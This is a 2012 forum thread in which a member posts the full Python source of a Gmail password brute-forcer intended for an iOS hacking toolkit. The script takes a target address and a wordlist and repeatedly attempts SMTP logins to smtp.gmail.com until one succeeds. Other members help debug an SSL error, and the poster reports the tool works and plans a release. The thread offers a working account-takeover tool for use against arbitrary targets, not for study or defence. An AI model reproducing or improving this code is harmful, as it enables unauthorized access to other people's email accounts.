Author Topic: [Python] SMTP Error  (Read 345 times)

[null]

  • Hero Member
  • *****
  • Posts: 646
  • Reputation: 42
  • the halloween jack is a real cool cat
  • Computers: I have a PC running Windows 7 that was built by my uncle. I also have a Newsmy T3 Android Tablet.
  • iDevices: iPod Touch 4G
[Python] SMTP Error
« on: September 17, 2012, 05:41:09 pm »
So as some you may know, I'm working on my own hacking toolkit for iOS! (It's currently in it's first beta, get it on my repo if you want to try it out.) Anyways, I'm coding a Gmail bruteforcer for it, but I keep getting a really strange error when I try to run it on my iPod. It works fine on my computer, but it should be noted that I have Python 3 on my computer, and I know that Python 3 has not been ported to iDevice yet. Anyway, here's the error I keep getting:
Code: [Select]
sslerror: (8, 'EOF occurred in violation of protocol') And here's the source code for the tool:
Code: [Select]
import smtplib
import sys

atk = 1
var = 1
print "Enter the target email address."
target = raw_input(">")
print "Enter the name of the wordlist to use."
list = raw_input(">")
try:
    f=open(list)
    lines=f.readlines()
except IOError:
     print "Wordlist not found in path specified!!"
mailServer = smtplib.SMTP('smtp.gmail.com:587')
mailServer.ehlo()
mailServer.starttls()
mailServer.ehlo()
while var == 1:
    try:
        mailServer.login(target,lines[atk])
        print "Password Found!! Pass at line ", atk
        var = 2
        mailServer.close
    except smtplib.SMTPAuthenticationError:
        print atk
        atk = atk + 1
    except smtplib.SMTPServerDisconnected:
        mailServer = smtplib.SMTP('smtp.gmail.com:587')
        mailServer.ehlo()
        mailServer.starttls()
        mailServer.ehlo()
   
Thanks for the help!!
__  __           ___    ___          
/\ \/\ \         /\_ \  /\_ \          
\ \ `\\ \  __  __\//\ \ \//\ \     
 \ \ , ` \/\ \/\ \ \ \ \  \ \ \          
  \ \ \`\ \ \ \_\ \ \_\ \_ \_\ \_
   \ \_\ \_\ \____/ /\____\/\____\
    \/_/\/_/\/___/  \/____/\/____/

A3MIRAL

  • Leader
  • Hero Member
  • *****
  • Posts: 2899
  • Reputation: 105
  • A3MIRAL -- Reporting for Duty
    • A3MIRAL
  • Badges:
  • Computers: Dell XPS15 (6 GB ram, Core i7 @ 2.0 GHz, 750 GB HDD @ 7200 RPM)
  • iDevices: iPod touch 3G 32GB, iPhone 5 32GB
Re: [Python] SMTP Error
« Reply #1 on: September 17, 2012, 07:46:34 pm »
I think there's an error with the ssl module or something.

[null]

  • Hero Member
  • *****
  • Posts: 646
  • Reputation: 42
  • the halloween jack is a real cool cat
  • Computers: I have a PC running Windows 7 that was built by my uncle. I also have a Newsmy T3 Android Tablet.
  • iDevices: iPod Touch 4G
Re: [Python] SMTP Error
« Reply #2 on: September 17, 2012, 07:59:16 pm »
I thought maybe, but i'n not using (or trying to use) ssl.
__  __           ___    ___          
/\ \/\ \         /\_ \  /\_ \          
\ \ `\\ \  __  __\//\ \ \//\ \     
 \ \ , ` \/\ \/\ \ \ \ \  \ \ \          
  \ \ \`\ \ \ \_\ \ \_\ \_ \_\ \_
   \ \_\ \_\ \____/ /\____\/\____\
    \/_/\/_/\/___/  \/____/\/____/

[null]

  • Hero Member
  • *****
  • Posts: 646
  • Reputation: 42
  • the halloween jack is a real cool cat
  • Computers: I have a PC running Windows 7 that was built by my uncle. I also have a Newsmy T3 Android Tablet.
  • iDevices: iPod Touch 4G
Re: [Python] SMTP Error
« Reply #3 on: September 18, 2012, 06:38:27 am »
Here's a screenie of the error:


(PS, do like my Slenderman keyboard? You better, or else He'll Get You!!)
__  __           ___    ___          
/\ \/\ \         /\_ \  /\_ \          
\ \ `\\ \  __  __\//\ \ \//\ \     
 \ \ , ` \/\ \/\ \ \ \ \  \ \ \          
  \ \ \`\ \ \ \_\ \ \_\ \_ \_\ \_
   \ \_\ \_\ \____/ /\____\/\____\
    \/_/\/_/\/___/  \/____/\/____/

A12danrulz

  • Leader
  • Hero Member
  • *****
  • Posts: 4017
  • Reputation: 216
  • Badges:
Re: [Python] SMTP Error
« Reply #4 on: September 18, 2012, 02:08:24 pm »
What python are you on? Im not getting that error.

Don't like seeing ads? Click here to register!

[null]

  • Hero Member
  • *****
  • Posts: 646
  • Reputation: 42
  • the halloween jack is a real cool cat
  • Computers: I have a PC running Windows 7 that was built by my uncle. I also have a Newsmy T3 Android Tablet.
  • iDevices: iPod Touch 4G
Re: [Python] SMTP Error
« Reply #5 on: September 18, 2012, 02:25:05 pm »
Python 2.5, I think.
__  __           ___    ___          
/\ \/\ \         /\_ \  /\_ \          
\ \ `\\ \  __  __\//\ \ \//\ \     
 \ \ , ` \/\ \/\ \ \ \ \  \ \ \          
  \ \ \`\ \ \ \_\ \ \_\ \_ \_\ \_
   \ \_\ \_\ \____/ /\____\/\____\
    \/_/\/_/\/___/  \/____/\/____/

[null]

  • Hero Member
  • *****
  • Posts: 646
  • Reputation: 42
  • the halloween jack is a real cool cat
  • Computers: I have a PC running Windows 7 that was built by my uncle. I also have a Newsmy T3 Android Tablet.
  • iDevices: iPod Touch 4G
Re: [Python] SMTP Error
« Reply #6 on: September 18, 2012, 08:41:03 pm »
Maybe I'll update my python to 2.7 from the radare repo.
__  __           ___    ___          
/\ \/\ \         /\_ \  /\_ \          
\ \ `\\ \  __  __\//\ \ \//\ \     
 \ \ , ` \/\ \/\ \ \ \ \  \ \ \          
  \ \ \`\ \ \ \_\ \ \_\ \_ \_\ \_
   \ \_\ \_\ \____/ /\____\/\____\
    \/_/\/_/\/___/  \/____/\/____/

[null]

  • Hero Member
  • *****
  • Posts: 646
  • Reputation: 42
  • the halloween jack is a real cool cat
  • Computers: I have a PC running Windows 7 that was built by my uncle. I also have a Newsmy T3 Android Tablet.
  • iDevices: iPod Touch 4G
Re: [Python] SMTP Error
« Reply #7 on: September 19, 2012, 06:37:07 am »
Alright, so I updated, and now it's working! I'll release the full version in a couple of days.
__  __           ___    ___          
/\ \/\ \         /\_ \  /\_ \          
\ \ `\\ \  __  __\//\ \ \//\ \     
 \ \ , ` \/\ \/\ \ \ \ \  \ \ \          
  \ \ \`\ \ \ \_\ \ \_\ \_ \_\ \_
   \ \_\ \_\ \____/ /\____\/\____\
    \/_/\/_/\/___/  \/____/\/____/